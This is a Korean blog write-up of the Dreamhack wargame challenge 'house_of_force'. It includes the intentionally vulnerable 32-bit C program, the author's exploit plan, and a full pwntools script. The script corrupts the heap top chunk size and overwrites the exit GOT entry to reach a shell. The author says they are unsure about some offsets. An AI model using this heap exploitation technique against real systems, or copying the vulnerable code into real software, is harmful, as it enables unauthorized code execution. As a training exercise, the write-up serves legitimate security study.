[Dreamhack Wargame] house_of_force

don't panic·2023년 12월 16일
0

System Hacking wargame

목록 보기
22/39

code

// gcc -o force force.c -m32 -mpreferred-stack-boundary=2
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>

int *ptr[10];

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(60);
}

int create(int cnt) {
	int size;

	if( cnt > 10 ) {
		return 0;
	}

	printf("Size: ");
	scanf("%d", &size);

	ptr[cnt] = malloc(size);

	if(!ptr[cnt]) {
		return -1;
	}

	printf("Data: ");
	read(0, ptr[cnt], size);

	printf("%p: %s\n", ptr[cnt], ptr[cnt]);
	return 0;
}

int write_ptr() {
	int idx;
	int w_idx;
	unsigned int value;

	printf("ptr idx: ");
	scanf("%d", &idx);

	if(idx > 10 || idx < 0) {
		return -1;
	} 

	printf("write idx: ");
	scanf("%d", &w_idx);

	if(w_idx > 100 || w_idx < 0) {
		return -1;
	}
	printf("value: ");
	scanf("%u", &value);

	ptr[idx][w_idx] = value;

	return 0;
}

void get_shell() {
	system("/bin/sh");
}
int main() {
	int idx;
	int cnt = 0;
	int w_cnt = 0;
	initialize();

	while(1) {
		printf("1. Create\n");
		printf("2. Write\n");
		printf("3. Exit\n");
		printf("> ");

		scanf("%d", &idx);

		switch(idx) {
			case 1:
				create(cnt++);
				cnt++;
				break;
			case 2:
				if(w_cnt) {
					return -1;
				}
				write_ptr();
				w_cnt++;
				break;
			case 3:
				exit(0);
			default:
				break;
		}
	}

	return 0;
}

checksec

  • house_of_force 기법을 사용해야 한다. Partial RELRO가 걸려있으므로 GOT overwrite을 해보자

exploit 설계


  • get_shell 함수를 exit_got에 overwrite하고 main에서 case 3을 실행하도록 하면 되겠다.
  1. create로 적당한 청크를 malloc해서 해당 주소를 얻어낸다.
  2. ptr[0]top chunk의 size의 offset을 구해서 이를 통해 writetop chunk size2^32-1을 넣는다.
  3. exit_got - topchunk_size_addr - 0x8을 size로 malloc을 한다.
  4. 한번 더 malloc을 하면서 data로 get_shell의 주소를 넣는다.
    -> 그러면 exit_gotget_shell이 된 것이다.

1. create(0x10, b'A'*0x10)

  • malloc을 한번 하고 ptr[0]top chunk의 size가 담긴 곳을 찾는다.
  • 나는 libc 버전이 높아서 그런지 계속 offset이 28로만 나왔다.
    하지만 remote에서는 20이라고 했으니 그에 맞춰서 20이라고 페이로드를 작성하겠다.
create(0x10, 'A'*0x10)
heap_addr = int(p.recv(9), 16)
topchunk_size_addr = heap_addr + 20

2. write(0, 5, 0xffffffff)

  • ptr[0]에서 4*5만큼 떨어진 부분은 top chunk size의 주소이다.
  • 따라서 top chunksize를 0xffffffff로 조작한다.

3. create(malloc_size, b'')

  • malloc_size를 나중에 한번 더 malloc하면 exit_got에 할당되도록 잘 만들어본다.
  • exit_got - (top chunk size의 주소) - 0x8 - 0xa으로 size를 보내면 된다.
  • 0xa는 0x10으로 힙 청크가 정렬되게 하도록 하기 위함이다..?!

- 4. create(4, p32(get_shell))

  • exit_got이 get_shell을 가리키게 된다!

exploit


from pwn import *

p = remote('host3.dreamhack.games', 24241)
e = ELF("house_of_force")

get_shell = e.symbols['get_shell']
exit_got = e.got['exit']

def create(size, data):
    p.sendlineafter(b"> ", b'1')
    p.sendlineafter(b"Size: ", str(size))
    p.sendlineafter(b"Data: ", data)
def write(ptr_idx, write_idx, value):
    p.sendlineafter(b"> ", b'2')
    p.sendlineafter(b"ptr idx: ", str(ptr_idx))
    p.sendlineafter(b"write idx: ", str(write_idx))
    p.sendlineafter(b"value: ", str(value))

# top chunk 생성
create(0x10, 'A'*0x10)
heap_addr = int(p.recv(9), 16)
topchunk_size_addr = heap_addr + 20

# top chunk size를 2^32-1로 조작
write(0, 5, 0xffffffff)

# exit_got 주소 이용한 size로 malloc
malloc_size = exit_got - topchunk_size_addr - 0x8 - 0xa
create(malloc_size, b'')

# exit_got을 get_shell로 overwrite
create(4, p32(get_shell))

# exit_got -> get_shell
p.sendlineafter(b"> ", '1')
p.sendlineafter(b"Size: ", b'8')

p.interactive()


아직 잘 모르겠다ㅠㅠ

0개의 댓글